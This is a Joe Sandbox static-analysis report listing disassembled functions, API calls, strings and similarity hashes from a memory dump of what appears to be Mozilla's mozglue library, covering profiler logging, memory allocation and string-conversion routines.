API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: dcd621d48f86387ed1293c28161b7b849087bfb3ce6cf0cd7ce29cb0a647b282
Instruction ID: 53ab98a3e096af3c210bea439efe396cf9a8e92582400bae27f6ce8fa8be2b36
Opcode Fuzzy Hash: dcd621d48f86387ed1293c28161b7b849087bfb3ce6cf0cd7ce29cb0a647b282
Instruction Fuzzy Hash: 1941A2746013069BDF00DFA9DC84ADAB7B5EB4A725F024629ED1697B80D730F804CBA9

Function 6C5A0000 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 127threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
Part of subcall function 6C599420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
Part of subcall function 6C599420: __Init_thread_footer.LIBCMT ref: 6C59949F

GetCurrentThreadId.KERNEL32 ref: 6C5A0039
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5A0041
GetCurrentThreadId.KERNEL32 ref: 6C5A0075
AcquireSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C5A0082
moz_xmalloc.MOZGLUE(00000048), ref: 6C5A0090
free.MOZGLUE(?), ref: 6C5A0104
ReleaseSRWLockExclusive.KERNEL32(6C5DF4B8), ref: 6C5A011B

Strings

[D %d/%d] profiler_register_page(%llu, %llu, %s, %llu), xrefs: 6C5A005B

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease_getpidfreemoz_xmalloc
String ID: [D %d/%d] profiler_register_page(%llu, %llu, %s, %llu)
API String ID: 3012294017-637075127
Opcode ID: 00af310e45bfd800bcd7ef48240041bfd684e30e869248e39027cbc99fc273af
Instruction ID: 2bfc647e657407d7b6222dc4d79953627c633d75335d1c27f75bba5bf3e5ee16
Opcode Fuzzy Hash: 00af310e45bfd800bcd7ef48240041bfd684e30e869248e39027cbc99fc273af
Instruction Fuzzy Hash: 474179B1600355DFCB10DF69CC40A9ABBF1FF89218F41491AE95A83B50DB31B815CBAA

Function 6C567E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C567EA7
malloc.MOZGLUE(00000001), ref: 6C567EB3

Part of subcall function 6C56CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C56CB49
Part of subcall function 6C56CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C56CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C567EC4
mozalloc_abort.MOZGLUE(?), ref: 6C567F19
malloc.MOZGLUE(?), ref: 6C567F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C567F4D

Strings

d, xrefs: 6C567F89

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 24288bd7cde5eb5e0e1128655839c7894b5ea0e371dc1a8c3cc7e7b1e773e269
Instruction ID: 8cc02b7567aa0aafa63bbf920d1f96db8563d0e9fe3c1a3b45cf25943ae0c991
Opcode Fuzzy Hash: 24288bd7cde5eb5e0e1128655839c7894b5ea0e371dc1a8c3cc7e7b1e773e269
Instruction Fuzzy Hash: D931D571E00788D7DB019B69DC049BEF778EF96208F055628DD4997622FB31BAC8C395

Function 6C563E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C563EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C563FDC
RtlAllocateHeap.NTDLL ref: 6C564006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5640A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C563CCC), ref: 6C5640AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C563CCC), ref: 6C5640C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C564134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C563CCC), ref: 6C564143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C563CCC), ref: 6C564157

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: cd0e52413a33fd8d7a1e3a54a4c01408f3134ac05910a65bc8f86f226225eff9
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 89A170B1A00215CFDB40CF6AC88065AB7B5FF48318F254599D909AFB62D775EC86CBA0

Function 6C552030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C573F47,?,?,?,6C573F47,6C571A70,?), ref: 6C55207F
memset.VCRUNTIME140(?,000000E5,6C573F47,?,6C573F47,6C571A70,?), ref: 6C5520DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C573F47,6C571A70,?), ref: 6C55211A
EnterCriticalSection.KERNEL32(6C5DE744,?,6C573F47,6C571A70,?), ref: 6C552145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C573F47,6C571A70,?), ref: 6C5521BA
EnterCriticalSection.KERNEL32(6C5DE744,?,6C573F47,6C571A70,?), ref: 6C5521E0
LeaveCriticalSection.KERNEL32(6C5DE744,?,6C573F47,6C571A70,?), ref: 6C552232

Strings

MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C552253, 6C552268
MOZ_CRASH(), xrefs: 6C55227D

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: 67dd98b276a6292ba82b0bcf8e4f96a383b71bf745fc960aa1823d588c15483d
Instruction ID: 03fd8569fa295177a24919eb87e094c8d3c49c743e312258b8e0adcaee546e96
Opcode Fuzzy Hash: 67dd98b276a6292ba82b0bcf8e4f96a383b71bf745fc960aa1823d588c15483d
Instruction Fuzzy Hash: 2C61D631F012168FCB04CE69CD8976E77B2EF85318FA9463AE524A7B94D770AD10CB85

Function 6C5A9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5A8273), ref: 6C5A9D65
free.MOZGLUE(6C5A8273,?), ref: 6C5A9D7C
free.MOZGLUE(?,?), ref: 6C5A9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5A9E0F
free.MOZGLUE(6C5A946B,?,?), ref: 6C5A9E24
free.MOZGLUE(?,?,?), ref: 6C5A9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5A9EC8
free.MOZGLUE(6C5A946B,?,?,?), ref: 6C5A9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5A9EF5

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: ec6d2d88a2064e1f0133641013bba1afe982dfefc6140909f4ccce019b281e35
Instruction ID: 8024069b1e148f7332e5d8a4aed3d2da670947aa7b78642c079520aa908cd1a9
Opcode Fuzzy Hash: ec6d2d88a2064e1f0133641013bba1afe982dfefc6140909f4ccce019b281e35
Instruction Fuzzy Hash: 6871BDB0909B51CBC712CF59C88055BF3F4FF99314B808659E94A5BB02EB31E8C6CB91

Function 6C5ADDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C5ADDCF

Part of subcall function 6C58FA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C58FA4B

Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A90FF
Part of subcall function 6C5A90E0: free.MOZGLUE(?,00000000,?,?,6C5ADEDB), ref: 6C5A9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADE0D
free.MOZGLUE(00000000), ref: 6C5ADE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5ADEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C59DEFD,?,6C564A68), ref: 6C5ADF32

Part of subcall function 6C5ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5ADB86
Part of subcall function 6C5ADAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C5ADC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C59DEFD,?,6C564A68), ref: 6C5ADF65
free.MOZGLUE(?), ref: 6C5ADF80

Part of subcall function 6C575E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C575EDB
Part of subcall function 6C575E90: memset.VCRUNTIME140(ew[l,000000E5,?), ref: 6C575F27
Part of subcall function 6C575E90: LeaveCriticalSection.KERNEL32(?), ref: 6C575FB2

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: fb44bccc0fb421b5c11705716b4bf994a20cd19f6124c15180af759a3a9e2b76
Instruction ID: ec4abefd851d29b7c2e4c074bd6df2656a31fed936f2d44256aa5730da276a93
Opcode Fuzzy Hash: fb44bccc0fb421b5c11705716b4bf994a20cd19f6124c15180af759a3a9e2b76
Instruction Fuzzy Hash: A051B3726017109BD720EA6ACC806AFB3B2BF95308F96051CDD1A53B00DB31B95BCB92

Function 6C5B5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5DC9
std::_Facet_Register.LIBCPMT ref: 6C5B5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C5B5C8C,?,6C58E829), ref: 6C5B5E45

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 4da1191e99c06311f713b57af8c2bd49b0bb3e76850e367bb8c1c69e5e433696
Instruction ID: d76c82a9d53e6c9688838769802a1dc9c516f9e116a4f6b286a6807a2657af8e
Opcode Fuzzy Hash: 4da1191e99c06311f713b57af8c2bd49b0bb3e76850e367bb8c1c69e5e433696
Instruction Fuzzy Hash: 9B41AF307003048FCB04EFA5CC98AAE7BB6EF89314F454169E506AB781EB30ED05CB65

Function 6C58CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C5531A7), ref: 6C58CDDD

Strings

<jemalloc>, xrefs: 6C58CF9F, 6C58CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C58CFA4, 6C58CFB8

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 198afbd13b8df975b8190f93e9bab9a8c6e49760515f3fc9a14b17c11a5f7cdc
Instruction ID: 89872ec5a108be9b3972b120d3c321e10512d4cd8440f43340ffe8674099fffa
Opcode Fuzzy Hash: 198afbd13b8df975b8190f93e9bab9a8c6e49760515f3fc9a14b17c11a5f7cdc
Instruction Fuzzy Hash: 8331A7307423265BFF01AF698C45B6E77B6BB41714F214619F611AB680DB70F400C7A9

Function 6C55ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C55F100: LoadLibraryW.KERNEL32(shell32,?,6C5CD020), ref: 6C55F122
Part of subcall function 6C55F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C55F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C55ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C55EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C55EDCC
CreateFileW.KERNEL32 ref: 6C55EE08
free.MOZGLUE(00000000), ref: 6C55EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C55EE32

Part of subcall function 6C55EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C55EBB5
Part of subcall function 6C55EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C58D7F3), ref: 6C55EBC3
Part of subcall function 6C55EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C58D7F3), ref: 6C55EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C55EDC1

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 63a164befe4fd035cb79ed7e2c327cf181c614467d78ea509ec68a5133c75b59
Instruction ID: dea4e128ff5bfde584160c31ebc65815aa69aafe4cecacef399c101229ed2c0f
Opcode Fuzzy Hash: 63a164befe4fd035cb79ed7e2c327cf181c614467d78ea509ec68a5133c75b59
Instruction Fuzzy Hash: 2851E471E05304CBDB00DF68CC456EEB7B1AF89318F84891ED8556B740E7B46D98C7A2

Function 6C5CA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CA565

Part of subcall function 6C5CA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5CA4BE
Part of subcall function 6C5CA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C5CA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C5CA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C5CA6B6

Strings

z, xrefs: 6C5CA6AE
0, xrefs: 6C5CA5FB

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: bf8e72e8a9d8443a3982faada95acd65c261611192a5847d298b2a89a1c0c4fe
Instruction ID: 1d2e4dcbb7cb14d8267ae549e138c61bf5c86cfc1844b3a281b8b89719373a9a
Opcode Fuzzy Hash: bf8e72e8a9d8443a3982faada95acd65c261611192a5847d298b2a89a1c0c4fe
Instruction Fuzzy Hash: 71411971A097459FC741DF68C880A8ABBF5BFC9354F408A2EF49987650EB30D589CB83

Function 6C599420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C58AB89: EnterCriticalSection.KERNEL32(6C5DE370,?,?,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284), ref: 6C58AB94
Part of subcall function 6C58AB89: LeaveCriticalSection.KERNEL32(6C5DE370,?,6C5534DE,6C5DF6CC,?,?,?,?,?,?,?,6C553284,?,?,6C5756F6), ref: 6C58ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C564A68), ref: 6C59945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C599470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C599482
__Init_thread_footer.LIBCMT ref: 6C59949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C59947D
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C59946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C599459

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: fe984cf332e53e44932a218086efbf8807af0fea6490ea7b600c0ea5e562b5a3
Instruction ID: 6823aeb8b61c19298f71ef901ba61c0f4bf5577e5e650d7944ad069c029e7500
Opcode Fuzzy Hash: fe984cf332e53e44932a218086efbf8807af0fea6490ea7b600c0ea5e562b5a3
Instruction Fuzzy Hash: 31018470A003018BD7009B6CDC15A5E33B9AB4672AF064677E90E86B91E722F965895F

Function 6C5A0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C5A0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5A0F88
GetCurrentThreadId.KERNEL32 ref: 6C5A0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C5A1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C5A10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C5A114B

Part of subcall function 6C598AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C5B1563), ref: 6C598BD5

free.MOZGLUE(?), ref: 6C5A1174
free.MOZGLUE(?), ref: 6C5A1186

Memory Dump Source

Source File: 00000000.00000002.2482237477.000000006C551000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C550000, based on PE: true

Associated: 00000000.00000002.2482219783.000000006C550000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482321906.000000006C5CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482375242.000000006C5DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2482389473.000000006C5E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c550000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: 1ead7809b54a196f01be70f77788987041353334fbb4b826ac545d6c19db459e
Instruction ID: 90c37a5ded44e2c32c92e3e3fa7e2e8b15fc3a8d96a064c0430a976a0956ca25
Opcode Fuzzy Hash: 1ead7809b54a196f01be70f77788987041353334fbb4b826ac545d6c19db459e
Instruction Fuzzy Hash: 55618B75A04340DBDB10DF66CC8079EB7F6AFC9308F05891DE98957611EB71E84ACB86

Function 6C55B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B6AC

Part of subcall function 6C56CA10: malloc.MOZGLUE(?), ref: 6C56CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C55B61E,?,?,?,?,?,00000000), ref: 6C55B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C55B61E), ref: 6C55B73F
